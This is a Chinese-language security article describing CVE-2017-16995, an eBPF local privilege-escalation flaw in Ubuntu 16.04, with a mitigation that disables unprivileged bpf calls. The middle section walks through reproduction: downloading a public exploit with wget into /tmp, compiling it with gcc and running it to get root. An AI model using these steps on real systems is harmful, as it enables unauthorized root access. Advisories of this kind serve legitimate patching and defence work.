開發者忘記打補丁?新版Ubuntu高危提權漏洞
作者:野火研習社·Arch3r
近日,有網友發布消息稱ubuntu最新版本(Ubuntu 16.04)存在高危的本地提權漏洞,漏洞編號為CVE-2017-16995。小編好奇就對此漏洞進行了一番研究,該漏洞存在於調用eBPF bpf(2)的Linux內核系統中,當用戶提供惡意BPF程序使eBPF驗證器模塊產生計算錯誤,導致任意內存讀寫問題, 低許可權用戶可使用此漏洞獲得管理許可權。
意思的是,這個漏洞在老版本中已經得到修復,然而最新版本中仍然可以被利用,難道開發人員忘記打補丁了?不管怎樣,在漏洞得到修復前,該漏洞依然處於0day狀態,不得不重視!
影響範圍
經筆者測試 Ubuntu 16.04.1~16.04.4 均存在此漏洞
漏洞復現過程如下,接下來跟隨小編一起看下去吧!
進入實驗環境訪問如下地址:https://www.ichunqiu.com/course/61487
筆者在自己的阿里雲伺服器上進行的復現,版本如下:
首先新建一個普通許可權用戶,配置默認為空即可
我們使用su arch3r切換到新建的普通用戶下,cd至/tmp目錄,然後下載網友提供的EXP文件,鏈接如下:http://cyseclabs.com/exploits/upstream44.c
使用wget命令:
wget http://cyseclabs.com/exploits/upstream44.c
直接下載至/tmp目錄下(/tmp目錄許可權較低,一般情況下提權文件放在此目錄不存在許可權不足問題)
接下來開始編譯該文件,編譯命令修改命令如下:
gcc -o upstream44 upstream44.c
得到可執行文件upstream44
最後,執行剛剛編譯後的文件,成功提升至root許可權。
緩解措施
雖然官網暫時未發布補丁升級方案,但是可以通過修改內核參數來限制普通用戶使用bpf(2)系統調用的方式以規避風險。
修改命令如下
echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled
我們運行該命令後,再切換至普通用戶執行EXP查看效果
可以看見報錯:
error: Operation not permitted //操作不被允許。
Ubuntu的用戶群體很大,而本次漏洞尚未得到修復,建議大家在對風險進行評估後,先採用緊急的方法確保安全,然後坐等Ubuntu官網發布補丁,及時更新!
參考鏈接
http://cyseclabs.com/exploits/upstream44.c
arbitrary read+write via incorrect range tracking in eBPF
Ubuntu本地提權攻擊預警 - 3
推薦閱讀: